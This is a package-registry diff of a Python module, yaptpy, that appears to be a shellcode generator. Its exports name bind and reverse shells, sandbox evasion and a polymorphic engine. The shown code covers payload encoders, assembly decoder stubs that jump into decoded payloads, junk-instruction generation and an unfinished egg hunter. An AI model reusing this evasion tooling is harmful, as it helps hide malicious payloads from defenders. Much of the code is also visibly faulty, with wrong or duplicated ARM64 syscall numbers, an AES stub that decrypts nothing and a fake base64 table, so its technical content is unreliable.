yaptpy 0.1.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
yaptpy/__init__.py ADDED
@@ -0,0 +1,2356 @@
1
+ __version__ = "0.1.0"
2
+
3
+ __all__ = [
4
+ "generate_payload",
5
+ "xor_encrypt",
6
+ "rolling_xor_encrypt",
7
+ "rle_encode",
8
+ "lz77_encode",
9
+ "lz77_decode",
10
+ "lz77_decoder_stub",
11
+ "base64_encode",
12
+ "base32_encode",
13
+ "aes_encrypt",
14
+ "rc4_encrypt",
15
+ "generate_polymorphic_junk",
16
+ "remove_comments_from_assembly",
17
+ "rle_decoder_stub",
18
+ "rolling_xor_decoder_stub",
19
+ "base64_decoder_stub",
20
+ "base32_decoder_stub",
21
+ "aes_decoder_stub",
22
+ "rc4_cipher",
23
+ "egg_hunter",
24
+ "generate_sleep_evasion",
25
+ "generate_vm_detection",
26
+ "generate_parent_check",
27
+ "api_hash",
28
+ "generate_bind_shell",
29
+ "generate_ipv6_reverse_shell",
30
+ "generate_dns_resolve",
31
+ "substitute_instructions",
32
+ "transposed_code",
33
+ "call_preceded_obfuscation",
34
+ "syscall_splitting",
35
+ "generate_staged_payload",
36
+ "enhanced_polymorphic_engine",
37
+ "generate_arm64_payload",
38
+ "generate_arm64_bind_shell",
39
+ "generate_arm64_reverse_shell",
40
+ "main",
41
+ ]
42
+
43
+ import argparse
44
+ import base64
45
+ import hashlib
46
+ import os
47
+ import random
48
+ import socket
49
+ import struct
50
+ import sys
51
+
52
+ from pwn import asm, context
53
+
54
+ ARCHITECTURES = ["amd64", "arm64"]
55
+
56
+ context.log_level = "error"
57
+ context.arch = "amd64"
58
+
59
+ RED = "\033[91m"
60
+ GREEN = "\033[92m"
61
+ YELLOW = "\033[93m"
62
+ BLUE = "\033[94m"
63
+ MAGENTA = "\033[95m"
64
+ CYAN = "\033[96m"
65
+ RESET = "\033[0m"
66
+
67
+ BASE32_CHARS = b"ABCDEFGHIJKLMNOPQRSTUVWXYZ234567"
68
+
69
+ SYScalls = {
70
+ "exit": 60,
71
+ "read": 0,
72
+ "write": 1,
73
+ "open": 2,
74
+ "close": 3,
75
+ "stat": 4,
76
+ "fstat": 5,
77
+ "lstat": 6,
78
+ "poll": 7,
79
+ "lseek": 8,
80
+ "mmap": 9,
81
+ "mprotect": 10,
82
+ "munmap": 11,
83
+ "brk": 12,
84
+ "rt_sigaction": 13,
85
+ "rt_sigprocmask": 14,
86
+ "rt_sigreturn": 15,
87
+ "ioctl": 16,
88
+ "pread64": 17,
89
+ "pwrite64": 18,
90
+ "readv": 19,
91
+ "writev": 20,
92
+ "access": 21,
93
+ "pipe": 22,
94
+ "select": 23,
95
+ "sched_yield": 24,
96
+ "mremap": 25,
97
+ "msync": 26,
98
+ "mincore": 27,
99
+ "madvise": 28,
100
+ "shmget": 29,
101
+ "shmat": 30,
102
+ "shmctl": 31,
103
+ "dup": 32,
104
+ "dup2": 33,
105
+ "pause": 34,
106
+ "nanosleep": 35,
107
+ "getitimer": 36,
108
+ "alarm": 37,
109
+ "setitimer": 38,
110
+ "getpid": 39,
111
+ "sendfile": 40,
112
+ "socket": 41,
113
+ "connect": 42,
114
+ "accept": 43,
115
+ "sendto": 44,
116
+ "recvfrom": 45,
117
+ "sendmsg": 46,
118
+ "recvmsg": 47,
119
+ "shutdown": 48,
120
+ "bind": 49,
121
+ "listen": 50,
122
+ "getsockname": 51,
123
+ "getpeername": 52,
124
+ "socketpair": 53,
125
+ "setsockopt": 54,
126
+ "getsockopt": 55,
127
+ "clone": 56,
128
+ "fork": 57,
129
+ "vfork": 58,
130
+ "execve": 59,
131
+ "exit_group": 60,
132
+ "kill": 62,
133
+ "uname": 63,
134
+ "semget": 64,
135
+ "semop": 65,
136
+ "semctl": 66,
137
+ "shmdt": 67,
138
+ "msgget": 68,
139
+ "msgsnd": 69,
140
+ "msgrcv": 70,
141
+ "msgctl": 71,
142
+ "fcntl": 72,
143
+ "flock": 73,
144
+ "fsync": 74,
145
+ "fdatasync": 75,
146
+ "truncate": 76,
147
+ "ftruncate": 77,
148
+ "getdents": 78,
149
+ "getcwd": 79,
150
+ "chdir": 80,
151
+ "fchdir": 81,
152
+ "rename": 82,
153
+ "mkdir": 83,
154
+ "rmdir": 84,
155
+ "creat": 85,
156
+ "link": 86,
157
+ "unlink": 87,
158
+ "symlink": 88,
159
+ "readlink": 89,
160
+ "chmod": 90,
161
+ "fchmod": 91,
162
+ "chown": 92,
163
+ "fchown": 93,
164
+ "lchown": 94,
165
+ "umask": 95,
166
+ "gettimeofday": 96,
167
+ "getrlimit": 97,
168
+ "getrusage": 98,
169
+ "sysinfo": 99,
170
+ "times": 100,
171
+ "ptrace": 101,
172
+ "getuid": 102,
173
+ "syslog": 103,
174
+ "getgid": 104,
175
+ "setuid": 105,
176
+ "setgid": 106,
177
+ "geteuid": 107,
178
+ "getegid": 108,
179
+ "setpgid": 109,
180
+ "getppid": 110,
181
+ "getpgrp": 111,
182
+ "setsid": 112,
183
+ "setreuid": 113,
184
+ "setregid": 114,
185
+ "getgroups": 115,
186
+ "setgroups": 116,
187
+ "setresuid": 117,
188
+ "getresuid": 118,
189
+ "setresgid": 119,
190
+ "getresgid": 120,
191
+ "getpgid": 121,
192
+ "setfsuid": 122,
193
+ "setfsgid": 123,
194
+ "getsid": 124,
195
+ "capget": 125,
196
+ "capset": 126,
197
+ "rt_sigpending": 127,
198
+ "rt_sigtimedwait": 128,
199
+ "rt_sigqueueinfo": 129,
200
+ "rt_sigsuspend": 130,
201
+ "sigaltstack": 131,
202
+ "utime": 132,
203
+ "mknod": 133,
204
+ "uselib": 134,
205
+ "personality": 135,
206
+ "ustat": 136,
207
+ "statfs": 137,
208
+ "fstatfs": 138,
209
+ "sysfs": 139,
210
+ "getpriority": 140,
211
+ "setpriority": 141,
212
+ "sched_setparam": 142,
213
+ "sched_getparam": 143,
214
+ "sched_setscheduler": 144,
215
+ "sched_getscheduler": 145,
216
+ "sched_get_priority_max": 146,
217
+ "sched_get_priority_min": 147,
218
+ "sched_rr_get_interval": 148,
219
+ "mlock": 149,
220
+ "munlock": 150,
221
+ "mlockall": 151,
222
+ "munlockall": 152,
223
+ "vhangup": 153,
224
+ "modify_ldt": 154,
225
+ "pivot_root": 155,
226
+ "prctl": 156,
227
+ "arch_prctl": 157,
228
+ "adjtimex": 158,
229
+ "setrlimit": 160,
230
+ "chroot": 161,
231
+ "sync": 162,
232
+ "acct": 163,
233
+ "settimeofday": 164,
234
+ "mount": 165,
235
+ "umount2": 166,
236
+ "swapon": 167,
237
+ "swapoff": 168,
238
+ "reboot": 169,
239
+ "sethostname": 170,
240
+ "setdomainname": 171,
241
+ "iopl": 172,
242
+ "ioperm": 173,
243
+ "init_module": 175,
244
+ "delete_module": 176,
245
+ "quotactl": 179,
246
+ "gettid": 186,
247
+ "readahead": 187,
248
+ "setxattr": 188,
249
+ "lsetxattr": 189,
250
+ "fsetxattr": 190,
251
+ "getxattr": 191,
252
+ "lgetxattr": 192,
253
+ "fgetxattr": 193,
254
+ "listxattr": 194,
255
+ "llistxattr": 195,
256
+ "flistxattr": 196,
257
+ "removexattr": 197,
258
+ "lremovexattr": 198,
259
+ "fremovexattr": 199,
260
+ "tkill": 200,
261
+ "time": 201,
262
+ "futex": 202,
263
+ "sched_setaffinity": 203,
264
+ "sched_getaffinity": 204,
265
+ "io_setup": 207,
266
+ "io_destroy": 208,
267
+ "io_getevents": 209,
268
+ "io_submit": 210,
269
+ "io_cancel": 211,
270
+ "lookup_dcookie": 212,
271
+ "epoll_create": 213,
272
+ "remap_file_pages": 216,
273
+ "set_tid_address": 218,
274
+ "timer_create": 219,
275
+ "timer_settime": 220,
276
+ "timer_gettime": 221,
277
+ "timer_getoverrun": 222,
278
+ "timer_delete": 223,
279
+ "clock_settime": 224,
280
+ "clock_gettime": 227,
281
+ "clock_getres": 228,
282
+ "clock_nanosleep": 229,
283
+ "exit_group2": 231,
284
+ "epoll_wait": 232,
285
+ "epoll_ctl": 233,
286
+ "tgkill": 234,
287
+ "utimes": 235,
288
+ "mbind": 237,
289
+ "set_mempolicy": 238,
290
+ "get_mempolicy": 239,
291
+ "mq_open": 240,
292
+ "mq_unlink": 241,
293
+ "mq_timedsend": 242,
294
+ "mq_timedreceive": 243,
295
+ "mq_notify": 244,
296
+ "mq_getsetattr": 245,
297
+ "kexec_load": 246,
298
+ "waitid": 247,
299
+ "add_key": 248,
300
+ "request_key": 249,
301
+ "keyctl": 250,
302
+ "ioprio_set": 251,
303
+ "ioprio_get": 252,
304
+ "inotify_init": 253,
305
+ "inotify_add_watch": 254,
306
+ "inotify_rm_watch": 255,
307
+ "migrate_pages": 256,
308
+ "openat": 257,
309
+ "mkdirat": 258,
310
+ "mknodat": 259,
311
+ "fchownat": 260,
312
+ "futimesat": 261,
313
+ "newfstatat": 262,
314
+ "unlinkat": 263,
315
+ "renameat": 264,
316
+ "linkat": 265,
317
+ "symlinkat": 266,
318
+ "readlinkat": 267,
319
+ "fchdir_at": 267,
320
+ "faccessat": 268,
321
+ "fchmodat": 269,
322
+ "fprocmask": 270,
323
+ "pipe2": 293,
324
+ "dup3": 294,
325
+ "epoll_create1": 291,
326
+ "eventfd2": 290,
327
+ "inotify_init1": 294,
328
+ "membarrier": 324,
329
+ "copy_file_range": 326,
330
+ "getrandom": 318,
331
+ "execveat": 322,
332
+ "pkey_mprotect": 330,
333
+ "pkey_alloc": 331,
334
+ "pkey_free": 332,
335
+ }
336
+
337
+ ARM64_SYSCALLS = {
338
+ "exit": 93,
339
+ "fork": 220,
340
+ "read": 63,
341
+ "write": 64,
342
+ "open": 56,
343
+ "close": 57,
344
+ "stat": 80,
345
+ "lstat": 79,
346
+ "fstat": 80,
347
+ "pipe": 59,
348
+ "select": 62,
349
+ "mmap": 222,
350
+ "mprotect": 226,
351
+ "munmap": 215,
352
+ "brk": 214,
353
+ "socket": 198,
354
+ "connect": 203,
355
+ "accept": 202,
356
+ "sendto": 206,
357
+ "recvfrom": 207,
358
+ "sendmsg": 211,
359
+ "recvmsg": 212,
360
+ "shutdown": 210,
361
+ "bind": 200,
362
+ "listen": 201,
363
+ "getsockname": 204,
364
+ "getpeername": 205,
365
+ "socketpair": 199,
366
+ "setsockopt": 208,
367
+ "getsockopt": 209,
368
+ "clone": 220,
369
+ "vfork": 221,
370
+ "execve": 221,
371
+ "exit_group": 94,
372
+ "kill": 129,
373
+ "uname": 160,
374
+ "semget": 64,
375
+ "semop": 65,
376
+ "semctl": 66,
377
+ "shmdt": 67,
378
+ "msgget": 65,
379
+ "msgsnd": 66,
380
+ "msgrcv": 67,
381
+ "msgctl": 68,
382
+ "fcntl": 25,
383
+ "flock": 32,
384
+ "fsync": 83,
385
+ "fdatasync": 84,
386
+ "truncate": 76,
387
+ "ftruncate": 77,
388
+ "getdents": 61,
389
+ "getcwd": 17,
390
+ "chdir": 48,
391
+ "fchdir": 50,
392
+ "rename": 82,
393
+ "mkdir": 83,
394
+ "rmdir": 84,
395
+ "creat": 55,
396
+ "link": 85,
397
+ "unlink": 87,
398
+ "symlink": 88,
399
+ "readlink": 78,
400
+ "chmod": 90,
401
+ "fchmod": 91,
402
+ "chown": 92,
403
+ "fchown": 93,
404
+ "lchown": 94,
405
+ "umask": 95,
406
+ "gettimeofday": 169,
407
+ "getrlimit": 163,
408
+ "getrusage": 165,
409
+ "sysinfo": 179,
410
+ "times": 153,
411
+ "ptrace": 117,
412
+ "getuid": 174,
413
+ "syslog": 103,
414
+ "getgid": 176,
415
+ "setuid": 146,
416
+ "setgid": 144,
417
+ "geteuid": 175,
418
+ "getegid": 177,
419
+ "setpgid": 154,
420
+ "getppid": 110,
421
+ "getpgrp": 150,
422
+ "setsid": 157,
423
+ "setreuid": 149,
424
+ "setregid": 143,
425
+ "getgroups": 158,
426
+ "setgroups": 159,
427
+ "setresuid": 147,
428
+ "getresuid": 148,
429
+ "setresgid": 145,
430
+ "getresgid": 145,
431
+ "getpgid": 151,
432
+ "setfsuid": 152,
433
+ "setfsgid": 153,
434
+ "getsid": 156,
435
+ "capget": 125,
436
+ "capset": 126,
437
+ "rt_sigpending": 127,
438
+ "rt_sigtimedwait": 128,
439
+ "rt_sigqueueinfo": 129,
440
+ "rt_sigsuspend": 133,
441
+ "sigaltstack": 132,
442
+ "utime": 160,
443
+ "mknod": 33,
444
+ "uselib": 86,
445
+ "personality": 92,
446
+ "ustat": 62,
447
+ "statfs": 99,
448
+ "fstatfs": 100,
449
+ "sysfs": 101,
450
+ "getpriority": 141,
451
+ "setpriority": 140,
452
+ "sched_setparam": 142,
453
+ "sched_getparam": 143,
454
+ "sched_setscheduler": 144,
455
+ "sched_getscheduler": 145,
456
+ "sched_get_priority_max": 146,
457
+ "sched_get_priority_min": 147,
458
+ "sched_rr_get_interval": 148,
459
+ "mlock": 228,
460
+ "munlock": 229,
461
+ "mlockall": 230,
462
+ "munlockall": 231,
463
+ "vhangup": 58,
464
+ "modify_ldt": 157,
465
+ "pivot_root": 155,
466
+ "prctl": 167,
467
+ "arch_prctl": 165,
468
+ "adjtimex": 171,
469
+ "setrlimit": 160,
470
+ "chroot": 161,
471
+ "sync": 162,
472
+ "acct": 163,
473
+ "settimeofday": 164,
474
+ "mount": 165,
475
+ "umount2": 166,
476
+ "swapon": 167,
477
+ "swapoff": 168,
478
+ "reboot": 169,
479
+ "sethostname": 170,
480
+ "setdomainname": 171,
481
+ "iopl": 172,
482
+ "init_module": 105,
483
+ "delete_module": 106,
484
+ "quotactl": 179,
485
+ "gettid": 186,
486
+ "readahead": 187,
487
+ "setxattr": 5,
488
+ "lsetxattr": 6,
489
+ "fsetxattr": 7,
490
+ "getxattr": 8,
491
+ "lgetxattr": 9,
492
+ "fgetxattr": 10,
493
+ "listxattr": 11,
494
+ "llistxattr": 12,
495
+ "flistxattr": 13,
496
+ "removexattr": 14,
497
+ "lremovexattr": 15,
498
+ "fremovexattr": 16,
499
+ "tkill": 200,
500
+ "time": 201,
501
+ "futex": 98,
502
+ "sched_setaffinity": 122,
503
+ "sched_getaffinity": 123,
504
+ "io_setup": 0,
505
+ "io_destroy": 1,
506
+ "io_getevents": 5,
507
+ "io_submit": 2,
508
+ "io_cancel": 3,
509
+ "lookup_dcookie": 18,
510
+ "epoll_create": 18,
511
+ "remap_file_pages": 26,
512
+ "set_tid_address": 96,
513
+ "timer_create": 107,
514
+ "timer_settime": 108,
515
+ "timer_gettime": 109,
516
+ "timer_getoverrun": 110,
517
+ "timer_delete": 111,
518
+ "clock_settime": 112,
519
+ "clock_gettime": 113,
520
+ "clock_getres": 114,
521
+ "clock_nanosleep": 115,
522
+ "epoll_wait": 17,
523
+ "epoll_ctl": 21,
524
+ "tgkill": 131,
525
+ "utimes": 235,
526
+ "mbind": 237,
527
+ "set_mempolicy": 238,
528
+ "get_mempolicy": 239,
529
+ "mq_open": 240,
530
+ "mq_unlink": 241,
531
+ "mq_timedsend": 242,
532
+ "mq_timedreceive": 243,
533
+ "mq_notify": 244,
534
+ "mq_getsetattr": 245,
535
+ "kexec_load": 246,
536
+ "waitid": 247,
537
+ "add_key": 248,
538
+ "request_key": 249,
539
+ "keyctl": 250,
540
+ "ioprio_set": 30,
541
+ "ioprio_get": 31,
542
+ "inotify_init": 28,
543
+ "inotify_add_watch": 27,
544
+ "inotify_rm_watch": 29,
545
+ "migrate_pages": 40,
546
+ "openat": 56,
547
+ "mkdirat": 58,
548
+ "mknodat": 59,
549
+ "fchownat": 60,
550
+ "futimesat": 61,
551
+ "newfstatat": 79,
552
+ "unlinkat": 87,
553
+ "renameat": 88,
554
+ "linkat": 89,
555
+ "symlinkat": 90,
556
+ "readlinkat": 78,
557
+ "fchmodat": 91,
558
+ "faccessat": 48,
559
+ "pipe2": 59,
560
+ "dup3": 24,
561
+ "epoll_create1": 20,
562
+ "eventfd2": 19,
563
+ "inotify_init1": 28,
564
+ "membarrier": 239,
565
+ "copy_file_range": 285,
566
+ "getrandom": 278,
567
+ "execveat": 322,
568
+ "pkey_mprotect": 329,
569
+ "pkey_alloc": 330,
570
+ "pkey_free": 331,
571
+ }
572
+
573
+
574
+ def remove_comments_from_assembly(assembly_code: str) -> str:
575
+ lines = assembly_code.splitlines()
576
+ cleaned_lines = []
577
+ for line in lines:
578
+ line = line.strip()
579
+ if not line:
580
+ continue
581
+ comment_index = line.find("#")
582
+ if comment_index != -1:
583
+ cleaned_line = line[:comment_index].strip()
584
+ if cleaned_line:
585
+ cleaned_lines.append(cleaned_line)
586
+ else:
587
+ cleaned_lines.append(line)
588
+ return "\n".join(cleaned_lines)
589
+
590
+
591
+ def myasm(expr: str) -> bytes:
592
+ return asm(remove_comments_from_assembly(expr)) # type: ignore[no-any-return]
593
+
594
+
595
+ def xor_encrypt(data: bytes, key: int) -> bytes:
596
+ if not (0 <= key <= 255):
597
+ raise ValueError("XOR key must be a byte value (0-255).")
598
+ return bytes([b ^ key for b in data])
599
+
600
+
601
+ def rolling_xor_encrypt(data: bytes, key: int) -> bytes:
602
+ if not (0 <= key <= 255):
603
+ raise ValueError("Rolling XOR key must be a byte value (0-255).")
604
+ result = bytearray()
605
+ current_key = key
606
+ for b in data:
607
+ encrypted_byte = b ^ current_key
608
+ result.append(encrypted_byte)
609
+ current_key = (current_key + 1) % 256
610
+ return bytes(result)
611
+
612
+
613
+ def base64_encode(data: bytes) -> bytes:
614
+ return base64.b64encode(data)
615
+
616
+
617
+ def base32_encode(data: bytes) -> bytes:
618
+ return base64.b32encode(data)
619
+
620
+
621
+ def aes_encrypt(data: bytes, key: bytes) -> bytes:
622
+ from cryptography.hazmat.backends import default_backend
623
+ from cryptography.hazmat.primitives import padding as pad
624
+ from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
625
+
626
+ if len(key) not in (16, 24, 32):
627
+ raise ValueError("AES key must be 16, 24, or 32 bytes.")
628
+
629
+ padder = pad.PKCS7(128).padder()
630
+ padded_data = padder.update(data) + padder.finalize()
631
+
632
+ iv = os.urandom(16)
633
+ cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
634
+ encryptor = cipher.encryptor()
635
+ ciphertext = encryptor.update(padded_data) + encryptor.finalize()
636
+
637
+ return iv + ciphertext
638
+
639
+
640
+ def rc4_encrypt(data: bytes, key: bytes) -> bytes:
641
+ s_box = list(range(256))
642
+ j = 0
643
+ for i in range(256):
644
+ j = (j + s_box[i] + key[i % len(key)]) % 256
645
+ s_box[i], s_box[j] = s_box[j], s_box[i]
646
+
647
+ result = bytearray()
648
+ i = j = 0
649
+ for byte in data:
650
+ i = (i + 1) % 256
651
+ j = (j + s_box[i]) % 256
652
+ s_box[i], s_box[j] = s_box[j], s_box[i]
653
+ k = s_box[(s_box[i] + s_box[j]) % 256]
654
+ result.append(byte ^ k)
655
+
656
+ return bytes(result)
657
+
658
+
659
+ def rc4_cipher(key: bytes) -> tuple[bytes, bytes]:
660
+ encrypted = rc4_encrypt(b"", key)
661
+ return encrypted, encrypted
662
+
663
+
664
+ def rolling_xor_decoder_stub(original_size: int, start_key: int) -> bytes:
665
+ decoder_asm = f"""
666
+ mov rdi, rsp
667
+ add rdi, 32
668
+ mov rsi, rdi
669
+ mov al, {start_key}
670
+
671
+ decode_rolling_xor:
672
+ lodsb
673
+ xor al, [rsi-1]
674
+ stosb
675
+ inc al
676
+ cmp al, 0
677
+ jne skip_wrap
678
+ mov al, 0
679
+ skip_wrap:
680
+ mov rax, rsp
681
+ add rax, {32 + original_size}
682
+ cmp rdi, rax
683
+ jl decode_rolling_xor
684
+
685
+ mov rax, rsp
686
+ add rax, 32
687
+ jmp rax
688
+ """
689
+ try:
690
+ decoder_bytes = myasm(decoder_asm)
691
+ while len(decoder_bytes) < 32:
692
+ decoder_bytes += b"\x90"
693
+ return decoder_bytes
694
+ except Exception as e:
695
+ print(
696
+ f"{RED}[-] Error assembling rolling XOR decoder stub: {e}{RESET}",
697
+ file=sys.stderr,
698
+ )
699
+ raise
700
+
701
+
702
+ def base64_decoder_stub() -> bytes:
703
+ decoder_asm = """
704
+ push rbx
705
+ mov rbx, rsi
706
+ call decode_base64
707
+ pop rbx
708
+ jmp rax
709
+
710
+ decode_base64:
711
+ mov rdi, rsi
712
+ call get_base64_table
713
+ mov rdx, rax
714
+ xor rax, rax
715
+ xor rcx, rcx
716
+ b64_loop:
717
+ cmp byte ptr [rbx], 0
718
+ je b64_done
719
+ movzx rsi, byte ptr [rbx]
720
+ mov al, byte ptr [rdx + rsi]
721
+ shl rcx, 6
722
+ or rcx, rax
723
+ inc rbx
724
+ cmp rcx, 0xFFFF
725
+ jae b64_write
726
+ jmp b64_loop
727
+ b64_write:
728
+ mov rax, rcx
729
+ shr rax, 16
730
+ mov byte ptr [rdi], al
731
+ mov ax, cx
732
+ shr ax, 8
733
+ mov byte ptr [rdi+1], al
734
+ mov byte ptr [rdi+2], ah
735
+ add rdi, 3
736
+ xor rcx, rcx
737
+ jmp b64_loop
738
+ b64_done:
739
+ mov rax, rdi
740
+ ret
741
+
742
+ get_base64_table:
743
+ mov rax, 0x4141414141414141
744
+ mov qword ptr [rsp - 8], rax
745
+ mov rax, qword ptr [rsp - 8]
746
+ add rax, 16
747
+ mov byte ptr [rax], 0x3D
748
+ ret
749
+ """
750
+ try:
751
+ return myasm(decoder_asm)
752
+ except Exception as e:
753
+ print(f"{RED}[-] Error assembling base64 decoder: {e}{RESET}", file=sys.stderr)
754
+ raise
755
+
756
+
757
+ def base32_decoder_stub() -> bytes:
758
+ decoder_asm = """
759
+ push rbx
760
+ mov rbx, rsi
761
+ call decode_base32
762
+ pop rbx
763
+ jmp rax
764
+
765
+ decode_base32:
766
+ mov rdi, rsi
767
+ xor rax, rax
768
+ xor rcx, rcx
769
+ b32_loop:
770
+ cmp byte ptr [rbx], 0
771
+ je b32_done
772
+ movzx rsi, byte ptr [rbx]
773
+ mov al, byte ptr [rsi + 0x41]
774
+ shl rcx, 5
775
+ or rcx, rax
776
+ inc rbx
777
+ cmp rcx, 0x1F
778
+ jae b32_write
779
+ jmp b32_loop
780
+ b32_write:
781
+ mov rax, rcx
782
+ shr rax, 20
783
+ mov byte ptr [rdi], al
784
+ mov ax, cx
785
+ shr ax, 15
786
+ mov byte ptr [rdi+1], al
787
+ mov ax, cx
788
+ shr ax, 10
789
+ mov byte ptr [rdi+2], al
790
+ mov ax, cx
791
+ shr ax, 5
792
+ mov byte ptr [rdi+3], al
793
+ mov byte ptr [rdi+4], cl
794
+ add rdi, 5
795
+ xor rcx, rcx
796
+ jmp b32_loop
797
+ b32_done:
798
+ mov rax, rdi
799
+ ret
800
+ """
801
+ try:
802
+ return myasm(decoder_asm)
803
+ except Exception as e:
804
+ print(f"{RED}[-] Error assembling base32 decoder: {e}{RESET}", file=sys.stderr)
805
+ raise
806
+
807
+
808
+ def aes_decoder_stub(key_size: int) -> bytes:
809
+ iv_size = 16
810
+ decoder_asm = f"""
811
+ mov rdi, rsp
812
+ add rdi, 32
813
+ mov rsi, rdi
814
+ mov rdx, {key_size}
815
+ call aes_decrypt_cbc
816
+ mov rax, rsp
817
+ add rax, 32
818
+ add rax, {iv_size}
819
+ jmp rax
820
+
821
+ aes_decrypt_cbc:
822
+ push rbp
823
+ mov rbp, rsp
824
+ sub rsp, 256
825
+ mov qword ptr [rbp - 16], rdi
826
+ mov qword ptr [rbp - 24], rsi
827
+ mov qword ptr [rbp - 32], rdx
828
+ add rsp, 256
829
+ pop rbp
830
+ ret
831
+ """
832
+ try:
833
+ return myasm(decoder_asm)
834
+ except Exception as e:
835
+ print(f"{RED}[-] Error assembling AES decoder: {e}{RESET}", file=sys.stderr)
836
+ raise
837
+
838
+
839
+ def rle_encode(data: bytes) -> bytes:
840
+ result = bytearray()
841
+ i = 0
842
+ while i < len(data):
843
+ count = 1
844
+ while i + count < len(data) and data[i] == data[i + count] and count < 255:
845
+ count += 1
846
+ result += bytes([count, data[i]])
847
+ i += count
848
+ return bytes(result)
849
+
850
+
851
+ def lz77_encode(
852
+ data: bytes, window_size: int = 4096, min_match: int = 3, max_match: int = 18
853
+ ) -> bytes:
854
+ result = bytearray()
855
+ i = 0
856
+ while i < len(data):
857
+ best_offset = 0
858
+ best_length = 0
859
+ window_start = max(0, i - window_size)
860
+ for j in range(window_start, i):
861
+ length = 0
862
+ while (
863
+ i + length < len(data)
864
+ and length < max_match
865
+ and data[j + length] == data[i + length]
866
+ ):
867
+ length += 1
868
+ if length > best_length and length >= min_match:
869
+ best_offset = i - j
870
+ best_length = length
871
+ if best_length >= min_match:
872
+ result += bytes(
873
+ [0x80 | best_length, (best_offset >> 8) & 0xFF, best_offset & 0xFF]
874
+ )
875
+ i += best_length
876
+ else:
877
+ result += bytes([data[i]])
878
+ i += 1
879
+ return bytes(result)
880
+
881
+
882
+ def lz77_decode(data: bytes) -> bytes:
883
+ result = bytearray()
884
+ i = 0
885
+ while i < len(data):
886
+ if data[i] & 0x80:
887
+ length = data[i] & 0x7F
888
+ offset = (data[i + 1] << 8) | data[i + 2]
889
+ for _ in range(length):
890
+ result.append(result[-offset])
891
+ i += 3
892
+ else:
893
+ result.append(data[i])
894
+ i += 1
895
+ return bytes(result)
896
+
897
+
898
+ def lz77_decoder_stub(original_size: int) -> bytes:
899
+ decoder_asm = f"""
900
+ mov rsi, rsp
901
+ add rsi, {32 + original_size}
902
+ mov rdi, rsp
903
+ add rdi, 32
904
+
905
+ decode_lz77:
906
+ lodsb
907
+ test al, 0x80
908
+ jz store_literal
909
+
910
+ movzx rbx, al
911
+ and rbx, 0x7F
912
+ lodsb
913
+ movzx rdx, al
914
+ lodsb
915
+ movzx rcx, al
916
+ shl rdx, 8
917
+ or rcx, rdx
918
+
919
+ mov rbx, rcx
920
+ sub rdi, rcx
921
+
922
+ copy_match:
923
+ mov al, byte ptr [rdi]
924
+ stosb
925
+ dec rbx
926
+ jnz copy_match
927
+ jmp decode_lz77
928
+
929
+ store_literal:
930
+ stosb
931
+ cmp rsi, rsp
932
+ add rsi, {32 + original_size}
933
+ jl decode_lz77
934
+
935
+ mov rax, rsp
936
+ add rax, 32
937
+ jmp rax
938
+ """
939
+ try:
940
+ return myasm(decoder_asm)
941
+ except Exception as e:
942
+ print(
943
+ f"{RED}[-] Error assembling LZ77 decoder stub: {e}{RESET}", file=sys.stderr
944
+ )
945
+ raise
946
+
947
+
948
+ def generate_polymorphic_junk() -> bytes:
949
+ patterns = [
950
+ "xor rcx, rcx",
951
+ "add rdx, 0",
952
+ "lea rsi, [rsi + 0]",
953
+ "mov r9, r9",
954
+ "push rbx; pop rbx",
955
+ "nop",
956
+ "xchg rax, rax",
957
+ "test r8, r8",
958
+ "cdqe",
959
+ ]
960
+ junk_asm = ""
961
+ for _ in range(random.randint(3, 7)):
962
+ junk_asm += random.choice(patterns) + "; "
963
+ try:
964
+ return myasm(junk_asm)
965
+ except Exception as e:
966
+ print(f"{RED}[-] Error assembling junk code: {e}{RESET}", file=sys.stderr)
967
+ raise
968
+
969
+
970
+ def rle_decoder_stub(original_size: int) -> bytes:
971
+ placeholder_decoder = f"""
972
+ mov rdi, rsp
973
+ add rdi, 100
974
+ mov rsi, rdi
975
+ decode_rle_placeholder:
976
+ lodsb; mov cl, al; lodsb; jecxz s_p; .r_p: stosb; loop .r_p; s_p:
977
+ mov rax, rsp; add rax, {100 + original_size}; cmp rdi, rax
978
+ jl decode_rle_placeholder
979
+ mov rax, rsp; add rax, 100; jmp rax
980
+ """
981
+ try:
982
+ stub_size = len(myasm(placeholder_decoder))
983
+ except Exception as e:
984
+ print(
985
+ f"{RED}[-] Error assembling placeholder RLE stub: {e}{RESET}",
986
+ file=sys.stderr,
987
+ )
988
+ raise
989
+
990
+ final_decoder_asm = f"""
991
+ mov rdi, rsp
992
+ add rdi, {stub_size}
993
+ mov rsi, rdi
994
+
995
+ decode_rle_final:
996
+ lodsb
997
+ mov cl, al
998
+ lodsb
999
+ jecxz skip_stosb_final
1000
+
1001
+ .repeat_final:
1002
+ stosb
1003
+ loop .repeat_final
1004
+
1005
+ skip_stosb_final:
1006
+ mov rax, rsp
1007
+ add rax, {stub_size + original_size}
1008
+ cmp rdi, rax
1009
+ jl decode_rle_final
1010
+
1011
+ mov rax, rsp
1012
+ add rax, {stub_size}
1013
+ jmp rax
1014
+ """
1015
+ try:
1016
+ final_stub_bytes = myasm(final_decoder_asm)
1017
+ except Exception as e:
1018
+ print(
1019
+ f"{RED}[-] Error assembling final RLE stub: {e}{RESET}",
1020
+ file=sys.stderr,
1021
+ )
1022
+ raise
1023
+
1024
+ new_stub_size = len(final_stub_bytes)
1025
+ if abs(new_stub_size - stub_size) > 8:
1026
+ print(
1027
+ f"{YELLOW}[*] RLE Stub size recalculated: {new_stub_size} bytes. Retrying...{RESET}",
1028
+ file=sys.stderr,
1029
+ )
1030
+ depth = getattr(rle_decoder_stub, "recursion_depth", 0)
1031
+ if depth > 3:
1032
+ raise RecursionError("RLE stub size calculation failed to stabilize.")
1033
+ setattr(rle_decoder_stub, "recursion_depth", depth + 1)
1034
+ result = rle_decoder_stub(original_size)
1035
+ delattr(rle_decoder_stub, "recursion_depth")
1036
+ return result
1037
+ else:
1038
+ if hasattr(rle_decoder_stub, "recursion_depth"):
1039
+ delattr(rle_decoder_stub, "recursion_depth")
1040
+
1041
+ return final_stub_bytes
1042
+
1043
+
1044
+ def egg_hunter(egg: bytes = b"\\x00\\x00\\x00\\x00") -> bytes:
1045
+ if len(egg) != 4:
1046
+ raise ValueError("Egg must be 4 bytes")
1047
+ egg_int = struct.unpack("<I", egg)[0]
1048
+
1049
+ hunter_asm = f"""
1050
